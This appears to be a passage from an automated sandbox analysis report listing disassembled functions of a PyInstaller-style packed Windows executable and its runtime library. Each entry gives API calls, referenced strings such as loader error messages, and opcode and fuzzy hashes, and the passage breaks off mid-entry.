Opcode ID: 5d5f78a55cbb505edb1646c940a8ce2b9e8aeb4b195174f4d175174c9cb5d7f9
Instruction ID: 6a5f4726f6b0979120f6f2b925f3c57257518907aa65f1fee5df89105c54c59b
Opcode Fuzzy Hash: 5d5f78a55cbb505edb1646c940a8ce2b9e8aeb4b195174f4d175174c9cb5d7f9
Instruction Fuzzy Hash: 92F18D76E08A8299E721DF74E4802FC37B5FB88748B464032DA8D57BADDEB8D509C341

Function 00007FFEEE207FC8 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 195COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getTemplateName.LIBVCRUNTIME ref: 00007FFEEE208048
Replicator::operator+=.LIBVCRUNTIME ref: 00007FFEEE20826B

Strings

template-parameter-, xrefs: 00007FFEEE2080A5
generic-type-, xrefs: 00007FFEEE2080E1

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: Decorator::getNameReplicator::operator+=Template
String ID: generic-type-$template-parameter-
API String ID: 2731555906-13229604
Opcode ID: 396f79b88366afe23f1aff7c6d7c11bf4edeca51deac59b79e7b12377a9b3622
Instruction ID: 88c4482d7097a7425fc8c65e4993f09c815ac1e2fe34908e3b96ee500559ef38
Opcode Fuzzy Hash: 396f79b88366afe23f1aff7c6d7c11bf4edeca51deac59b79e7b12377a9b3622
Instruction Fuzzy Hash: CA918322A18A8698EB158F65F4503BD37A5AB88784F470432D98D577F9DFFCE505C302

Function 00007FF7102C15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7102C1785
Failed to create symbolic link %s!, xrefs: 00007FF7102C15E2
malloc, xrefs: 00007FF7102C16F6
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7102C16EF
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7102C168E
fread, xrefs: 00007FF7102C178C
fseek, xrefs: 00007FF7102C1695
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7102C165B
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7102C1775
Failed to extract %s: failed to open target file!, xrefs: 00007FF7102C1617
fopen, xrefs: 00007FF7102C161E
fwrite, xrefs: 00007FF7102C177C

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2030045667-1550345328
Opcode ID: 654bb04dfa0f1f3c403e0c296a97dc3596cd50463da0eae47ab6076654925a3b
Instruction ID: 8475aaa157a9a7f543b3be7bb71394dce2c0d197e34b86e77540a7cc02f339be
Opcode Fuzzy Hash: 654bb04dfa0f1f3c403e0c296a97dc3596cd50463da0eae47ab6076654925a3b
Instruction Fuzzy Hash: 0351AE61B18E4392EA11BB11AA515BAEB60BF467B4FD44131EE0D07B96EF3CF54C8720

Function 00007FF7102C77D0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 115COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7102C7C97,?,?,FFFFFFFF,00007FF7102C3834), ref: 00007FF7102C782C

Part of subcall function 00007FF7102C26C0: MessageBoxW.USER32 ref: 00007FF7102C2736

Strings

LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7102C78D9
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7102C789D
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7102C796D
CreateDirectory, xrefs: 00007FF7102C7974
\, xrefs: 00007FF7102C7861
%.*s, xrefs: 00007FF7102C790C
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7102C7803
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7102C7840

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: c3532161b1b2b7c53ec0a0b3f79f5e94743c67efbab5da7731ebfcd00691680a
Instruction ID: 4fc551f03afe220fa508810956e2b5b4509088c4f11bfb10f8e9aaa6f5827366
Opcode Fuzzy Hash: c3532161b1b2b7c53ec0a0b3f79f5e94743c67efbab5da7731ebfcd00691680a
Instruction Fuzzy Hash: C041B421A3CE4381FA51BB24EA552BAEA61BF947A0FC45031D64E52795EE3CF50C8730

Function 00007FF7102C20F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF7102C211B
SelectObject.GDI32 ref: 00007FF7102C2162
DrawTextW.USER32 ref: 00007FF7102C2185
SelectObject.GDI32 ref: 00007FF7102C219B
ReleaseDC.USER32 ref: 00007FF7102C21AB
MoveWindow.USER32 ref: 00007FF7102C21FB
MoveWindow.USER32 ref: 00007FF7102C223B
MoveWindow.USER32 ref: 00007FF7102C228E
MoveWindow.USER32 ref: 00007FF7102C22D6

Strings

P%, xrefs: 00007FF7102C216F

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
Instruction ID: 2515e3242082aed70463a4dedcb934d744a6b3f25cd045521c73e843645ee31c
Opcode Fuzzy Hash: 028f263e58f42d33d872b22938efc015f71aa7b4c996476cfe5add7d8b08dd36
Instruction Fuzzy Hash: C9510726614BA186D6259F26F4181BBFBA1F798B61F404121EBCE43785DF3CE049DB20

Function 00007FF7102D55A0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D55E3
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D59D0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D5C6C

Strings

-, xrefs: 00007FF7102D5679
p, xrefs: 00007FF7102D570D
f, xrefs: 00007FF7102D5705
p, xrefs: 00007FF7102D5695
:, xrefs: 00007FF7102D579C

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
Instruction ID: 2198a09fbf9af3507d176845c8e0ce322dd15ef702c6e42c5b0ab0ff9c6f0dd2
Opcode Fuzzy Hash: 6485ef080591767760fe67f9caec812fff4e1ba5c20858478bd9f0fbec74de2f
Instruction Fuzzy Hash: AB12A223A0CAA386FB20BA15D0542B9FA51FB40774FD44136E699467C4DFBCFD888B64

Function 00007FF7102D02E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D0328
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D06F0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D098F

Strings

p, xrefs: 00007FF7102D03CD
p, xrefs: 00007FF7102D0432
f, xrefs: 00007FF7102D042A
f, xrefs: 00007FF7102D0575
f, xrefs: 00007FF7102D03C0

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction ID: c7108147193213be7047729e535db6d711e21f6fce37f56f216e38a4a6e993c5
Opcode Fuzzy Hash: 47a7a6303f50c331757a7ed503f6ccc132970c05c2223996d06c8e5714df85c4
Instruction Fuzzy Hash: BC129263E0C94386FB20BA15E0947B9EA51FB807A4FD44031F689467E4DB7DFC889B64

Function 00007FF7102C1050 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 111COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7102C11D0
malloc, xrefs: 00007FF7102C10FC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7102C10C5
fread, xrefs: 00007FF7102C11D7
fseek, xrefs: 00007FF7102C10CC
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7102C10F5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7102C1097

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 042f7d8fb1578682235fd100909504afde6b69eb2aa08c650c9c2e0e8eef848c
Instruction ID: 0c014dd05e9e100d9cc49e8df0cdf85d50e91f5337c1f7f898066be17bcf59a7
Opcode Fuzzy Hash: 042f7d8fb1578682235fd100909504afde6b69eb2aa08c650c9c2e0e8eef848c
Instruction Fuzzy Hash: 5441B221B18E4342FA14BB12AA416B6EB91BF46BE4FD84031DE0D07B95DE7CF44D8760

Function 00007FF7102C7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89processsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102C86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7102C3FA4,00000000,00007FF7102C1925), ref: 00007FF7102C86E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C800A
GetStartupInfoW.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C802B

Part of subcall function 00007FF7102D978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D97A0

Part of subcall function 00007FF7102D7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D7A93

GetCommandLineW.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C80CD
CreateProcessW.KERNEL32 ref: 00007FF7102C810F
WaitForSingleObject.KERNEL32(?,00007FF7102C39C0), ref: 00007FF7102C8123
GetExitCodeProcess.KERNEL32 ref: 00007FF7102C8133

Strings

Failed to create child process!, xrefs: 00007FF7102C813F
CreateProcessW, xrefs: 00007FF7102C8146

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: 68137be278342e9e0bad040a3162552071a6033893bc3ec9c774368a11d067aa
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: DA412032A18B8281EA21AB24F4552AAF7A1FB85370F904335E6AD477D5DF7CE4488B10

Function 00007FFEEE2077E8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFEEE20782D
UnDecorator::getSignedDimension.LIBVCRUNTIME ref: 00007FFEEE207844
DName::DName.LIBVCRUNTIME ref: 00007FFEEE2078BB

Part of subcall function 00007FFEEE202124: DName::doPchar.LIBVCRUNTIME ref: 00007FFEEE202156

DName::operator+.LIBVCRUNTIME ref: 00007FFEEE2078CB

Part of subcall function 00007FFEEE2023D0: DName::operator+=.LIBVCRUNTIME ref: 00007FFEEE2023EB

DName::operator+.LIBVCRUNTIME ref: 00007FFEEE2078DE

Part of subcall function 00007FFEEE202430: DName::operator+=.LIBCMT ref: 00007FFEEE20244B

Strings

void, xrefs: 00007FFEEE20781C
`template-parameter, xrefs: 00007FFEEE2078B0

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: NameName::Name::operator+Name::operator+=$Decorator::getDimensionName::doPcharSigned
String ID: `template-parameter$void
API String ID: 1951524168-4057429177
Opcode ID: 6ae3ef52113e57d35b7955a0f65f779d93265ba774f9a60eaa75a8868ae336a0
Instruction ID: c3c0ed711987e343ff93b1536082376585cf27ddaf8c2732892e3ffd58a6676b
Opcode Fuzzy Hash: 6ae3ef52113e57d35b7955a0f65f779d93265ba774f9a60eaa75a8868ae336a0
Instruction Fuzzy Hash: 8F313B22F18A4684FB15DF65F8503BD23A1BB88B84F874432CA8D177A9DFACE404C342

Function 00007FFEEE1DF028 Relevance: 13.8, APIs: 9, Instructions: 282fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFEEE1DF2D0: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF2F0
Part of subcall function 00007FFEEE1DF2D0: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF346
Part of subcall function 00007FFEEE1DF2D0: LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE1DF3EB

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFEEE1DF105
GetFileType.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFEEE1DF123
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1DF2B4
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE216450
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FFEEE216483

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: CriticalSection$EnterErrorFileLast$CloseCreateHandleLeaveType
String ID:
API String ID: 3788438030-0
Opcode ID: a59d17f06b1bd9d842be46a7f28cfe95a224e8e552fd04205d7b926c9701eb9f
Instruction ID: 89c6ee3a53aed65a95843d7eb49c141ce551050219581523ffa6570111e63dd4
Opcode Fuzzy Hash: a59d17f06b1bd9d842be46a7f28cfe95a224e8e552fd04205d7b926c9701eb9f
Instruction Fuzzy Hash: A8C1B536B18A4285EB10DF68E4806AD3761FB89B98B130336DA9E577E5CF78D195C301

Function 00007FF7102CDD28 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF7102CDD85

Part of subcall function 00007FF7102CECDC: __GetUnwindTryBlock.LIBCMT ref: 00007FF7102CED1F
Part of subcall function 00007FF7102CECDC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF7102CED44

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF7102CDE5D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF7102CE0AB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF7102CE1B8

Strings

csm, xrefs: 00007FF7102CDE06
csm, xrefs: 00007FF7102CDD9F
csm, xrefs: 00007FF7102CDE80

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
Instruction ID: 431935d7e2acf15eedf4495fdeb90a30d818f9cb70417d1456e7679c28ab53ef
Opcode Fuzzy Hash: e61afc8d21ba52cdbe611d77afa9c967b031d652e012678c684f0478f5a183c7
Instruction Fuzzy Hash: 71D1C332A28F4186EB20AF24D5403ADBBA0FB457A8F540135EE4D57B9ACF38F499C750

Function 00007FFEEE2742CC Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 129COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFEEE1D3440: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?,00007FFEEE1DAC33,?,?,?), ref: 00007FFEEE1D344A
Part of subcall function 00007FFEEE1D3440: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?,00007FFEEE1DAC33,?,?,?), ref: 00007FFEEE1D3490

Part of subcall function 00007FFEEE273FF0: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FFEEE274030

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,00000000), ref: 00007FFEEE274397
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00000000), ref: 00007FFEEE2743A3
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,00000000), ref: 00007FFEEE2743E3
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,00000000), ref: 00007FFEEE274432
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,00000000), ref: 00007FFEEE27443F

Strings

., xrefs: 00007FFEEE274355
:, xrefs: 00007FFEEE274343

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast$FullNamePath$CurrentDirectory
String ID: .$:
API String ID: 3092725408-4202072812
Opcode ID: ef35eeac8d6858098a0af63d7695292964ee2a00a6a270ecab81768e333bc854
Instruction ID: a0be5afdbd22f3ad65b03dba113f8dc4a9efb08f09a14e0956d9180b2af96f1a
Opcode Fuzzy Hash: ef35eeac8d6858098a0af63d7695292964ee2a00a6a270ecab81768e333bc854
Instruction Fuzzy Hash: 02515E61F0861389FB116FB0F8503BD26A0AF98748F134135DE8D67AB5DFBCA4919212

Function 00007FF7102C7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF7102C3834), ref: 00007FF7102C7CE4
CreateDirectoryW.KERNEL32(?,?,FFFFFFFF,00007FF7102C3834), ref: 00007FF7102C7D2C

Part of subcall function 00007FF7102C7E10: GetEnvironmentVariableW.KERNEL32(00007FF7102C365F), ref: 00007FF7102C7E47
Part of subcall function 00007FF7102C7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF7102C7E69

Part of subcall function 00007FF7102D7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D7561

Part of subcall function 00007FF7102C26C0: MessageBoxW.USER32 ref: 00007FF7102C2736

Strings

LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF7102C7D5E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF7102C7CBC
TMP, xrefs: 00007FF7102C7C7C, 00007FF7102C7D83
TMP, xrefs: 00007FF7102C7CA2
_MEI%d, xrefs: 00007FF7102C7CF2

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: 9cba264b996c54071923a246639d1af5409d9d1b2208d63368212f3f3054f6c1
Instruction ID: 72cade6ba44692d7d0f2e993341f85e6715edf429befd0392613975a37fa264d
Opcode Fuzzy Hash: 9cba264b996c54071923a246639d1af5409d9d1b2208d63368212f3f3054f6c1
Instruction Fuzzy Hash: 8041AF12A29E4341EA20BB25AA552F9DA55BF45BB0FC04031EE0E57796EE3CF90C8720

Function 00007FFEEE204BE8 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

